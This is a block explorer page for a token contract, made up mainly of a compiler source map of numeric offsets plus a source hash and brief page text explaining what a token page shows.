5;;10922:17;10918:633;;10974:13;;-1:-1:-1;;;;;10974:13:0;;;10968:19;;;;10964:324;;11041:18;;11031:9;;:28;:66;;11080:17;11096:1;11080:15;:17;:::i;:::-;11031:66;;;11062:15;11031:66;11016:81;;10918:633;;10964:324;-1:-1:-1;;;;;11187:17:0;;11154:30;11187:17;;;:11;:17;;;;;11246:18;11231:33;;10918:633;;;-1:-1:-1;;;;;11369:17:0;;11336:30;11369:17;;;:11;:17;;;;;11428:18;;11413:12;;:33;11409:123;;;11490:18;;11475:33;;11409:123;11313:238;10918:633;10838:728;10813:961;;;-1:-1:-1;;;;;11621:17:0;;11591:27;11621:17;;;:11;:17;;;;;11676:15;11657:16;;;:34;11746:12;;11730:15;;:28;;11746:12;11730:28;:::i;:::-;11710:17;;;;:48;10813:961;11800:11;;11797:160;;11868:4;11850:24;;;;:9;:24;;;;;;:39;;11879:9;11850:28;:39::i;:::-;11843:4;11825:24;;;;:9;:24;;;;;;;:64;;;;11907:38;;-1:-1:-1;;;;;11907:38:0;;;;;;;11935:9;1361:25:1;;1349:2;1334:18;;1215:177;11907:38:0;;;;;;;;11797:160;-1:-1:-1;;;;;11984:15:0;;;;;;:9;:15;;;;;;:27;;12004:6;11984:19;:27::i;:::-;-1:-1:-1;;;;;11968:15:0;;;;;;:9;:15;;;;;:43;12036:40;12054:21;:6;12065:9;12054:10;:21::i;:::-;-1:-1:-1;;;;;12036:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;12022:13:0;;;;;;;:9;:13;;;;;:54;;;;12092:41;;;12111:21;:6;12122:9;12111:10;:21::i;:::-;12092:41;;1361:25:1;;;1349:2;1334:18;12092:41:0;1215:177:1;2232:190:0;2318:7;2354:12;2346:6;;;;2338:29;;;;-1:-1:-1;;;2338:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2378:9:0;2390:5;2394:1;2390;:5;:::i;:::-;2378:17;2232:190;-1:-1:-1;;;;;2232:190:0:o;12257:483::-;6170:6;:13;;-1:-1:-1;;;;6170:13:0;-1:-1:-1;;;6170:13:0;;;12359:16:::1;::::0;;12373:1:::1;12359:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12359:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12359:16:0::1;12335:40;;12404:4;12386;12391:1;12386:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12386:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12430:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12430:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12386:7;;12430:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12420:4;12425:1;12420:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12420:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12495:15:::1;::::0;12463:62:::1;::::0;12480:4:::1;::::0;12495:15:::1;12513:11:::0;12463:8:::1;:62::i;:::-;12536:15;::::0;:196:::1;::::0;-1:-1:-1;;;12536:196:0;;-1:-1:-1;;;;;12536:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12617:11;;12536:15:::1;::::0;12659:4;;12686::::1;::::0;12706:15:::1;::::0;12536:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6206:6:0;:14;;-1:-1:-1;;;;6206:14:0;;;-1:-1:-1;;;;12257:483:0:o;13037:92::-;13094:10;;:27;;-1:-1:-1;;;;;13094:10:0;;;;:27;;;;;13114:6;;13094:10;:27;:10;:27;13114:6;13094:10;:27;;;;;;;;;;;;;;;;;;;2430:246;2488:7;2512:1;2517;2512:6;2508:47;;-1:-1:-1;2542:1:0;2535:8;;2508:47;2565:9;2577:5;2581:1;2577;:5;:::i;:::-;2565:17;-1:-1:-1;2610:1:0;2601:5;2605:1;2565:17;2601:5;:::i;:::-;:10;2593:56;;;;-1:-1:-1;;;2593:56:0;;12985:2:1;2593:56:0;;;12967:21:1;13024:2;13004:18;;;12997:30;13063:34;13043:18;;;13036:62;-1:-1:-1;;;13114:18:1;;;13107:31;13155:19;;2593:56:0;12783:397:1;2593:56:0;2667:1;2430:246;-1:-1:-1;;;2430:246:0:o;2684:132::-;2742:7;2769:39;2773:1;2776;2769:39;;;;;;;;;;;;;;;;;:3;:39::i;12151:98::-;12208:7;12235:1;12233;:3;12232:9;;12240:1;12232:9;;;-1:-1:-1;12238:1:0;12151:98;-1:-1:-1;12151:98:0:o;1901:179::-;1959:7;;1991:5;1995:1;1991;:5;:::i;:::-;1979:17;;2020:1;2015;:6;;2007:46;;;;-1:-1:-1;;;2007:46:0;;13387:2:1;2007:46:0;;;13369:21:1;13426:2;13406:18;;;13399:30;13465:29;13445:18;;;13438:57;13512:18;;2007:46:0;13185:351:1;2088:136:0;2146:7;2173:43;2177:1;2180;2173:43;;;;;;;;;;;;;;;;;:3;:43::i;2824:189::-;2910:7;2945:12;2938:5;2930:28;;;;-1:-1:-1;;;2930:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2969:9:0;2981:5;2985:1;2981;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3261:127::-;3322:10;3317:3;3313:20;3310:1;3303:31;3353:4;3350:1;3343:15;3377:4;3374:1;3367:15;3393:416;3482:1;3519:5;3482:1;3533:270;3554:7;3544:8;3541:21;3533:270;;;3613:4;3609:1;3605:6;3601:17;3595:4;3592:27;3589:53;;;3622:18;;:::i;:::-;3672:7;3662:8;3658:22;3655:55;;;3692:16;;;;3655:55;3771:22;;;;3731:15;;;;3533:270;;;3537:3;3393:416;;;;;:::o;3814:806::-;3863:5;3893:8;3883:80;;-1:-1:-1;3934:1:1;3948:5;;3883:80;3982:4;3972:76;;-1:-1:-1;4019:1:1;4033:5;;3972:76;4064:4;4082:1;4077:59;;;;4150:1;4145:130;;;;4057:218;;4077:59;4107:1;4098:10;;4121:5;;;4145:130;4182:3;4172:8;4169:17;4166:43;;;4189:18;;:::i;:::-;-1:-1:-1;;4245:1:1;4231:16;;4260:5;;4057:218;;4359:2;4349:8;4346:16;4340:3;4334:4;4331:13;4327:36;4321:2;4311:8;4308:16;4303:2;4297:4;4294:12;4290:35;4287:77;4284:159;;;-1:-1:-1;4396:19:1;;;4428:5;;4284:159;4475:34;4500:8;4494:4;4475:34;:::i;:::-;4545:6;4541:1;4537:6;4533:19;4524:7;4521:32;4518:58;;;4556:18;;:::i;:::-;4594:20;;3814:806;-1:-1:-1;;;3814:806:1:o;4625:140::-;4683:5;4712:47;4753:4;4743:8;4739:19;4733:4;4712:47;:::i;4770:168::-;4843:9;;;4874;;4891:15;;;4885:22;;4871:37;4861:71;;4912:18;;:::i;4943:184::-;5013:6;5066:2;5054:9;5045:7;5041:23;5037:32;5034:52;;;5082:1;5079;5072:12;5034:52;-1:-1:-1;5105:16:1;;4943:184;-1:-1:-1;4943:184:1:o;5419:277::-;5486:6;5539:2;5527:9;5518:7;5514:23;5510:32;5507:52;;;5555:1;5552;5545:12;5507:52;5587:9;5581:16;5640:5;5633:13;5626:21;5619:5;5616:32;5606:60;;5662:1;5659;5652:12;6053:251;6123:6;6176:2;6164:9;6155:7;6151:23;6147:32;6144:52;;;6192:1;6189;6182:12;6144:52;6224:9;6218:16;6243:31;6268:5;6243:31;:::i;7230:306::-;7318:6;7326;7334;7387:2;7375:9;7366:7;7362:23;7358:32;7355:52;;;7403:1;7400;7393:12;7355:52;7432:9;7426:16;7416:26;;7482:2;7471:9;7467:18;7461:25;7451:35;;7526:2;7515:9;7511:18;7505:25;7495:35;;7230:306;;;;;:::o;10202:125::-;10267:9;;;10288:10;;;10285:36;;;10301:18;;:::i;10687:135::-;10726:3;10747:17;;;10744:43;;10767:18;;:::i;:::-;-1:-1:-1;10814:1:1;10803:13;;10687:135::o;11179:128::-;11246:9;;;11267:11;;;11264:37;;;11281:18;;:::i;11444:127::-;11505:10;11500:3;11496:20;11493:1;11486:31;11536:4;11533:1;11526:15;11560:4;11557:1;11550:15;11576:980;11838:4;11886:3;11875:9;11871:19;11917:6;11906:9;11899:25;11943:2;11981:6;11976:2;11965:9;11961:18;11954:34;12024:3;12019:2;12008:9;12004:18;11997:31;12048:6;12083;12077:13;12114:6;12106;12099:22;12152:3;12141:9;12137:19;12130:26;;12191:2;12183:6;12179:15;12165:29;;12212:1;12222:195;12236:6;12233:1;12230:13;12222:195;;;12301:13;;-1:-1:-1;;;;;12297:39:1;12285:52;;12392:15;;;;12357:12;;;;12333:1;12251:9;12222:195;;;-1:-1:-1;;;;;;;12473:32:1;;;;12468:2;12453:18;;12446:60;-1:-1:-1;;;12537:3:1;12522:19;12515:35;12434:3;11576:980;-1:-1:-1;;;11576:980:1:o;12561:217::-;12601:1;12627;12617:132;;12671:10;12666:3;12662:20;12659:1;12652:31;12706:4;12703:1;12696:15;12734:4;12731:1;12724:15;12617:132;-1:-1:-1;12763:9:1;;12561:217::o

Swarm Source

ipfs://e9c1b89b7de53f9035fca286e8c61c1418080380b38636f8c563b58895de29c5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.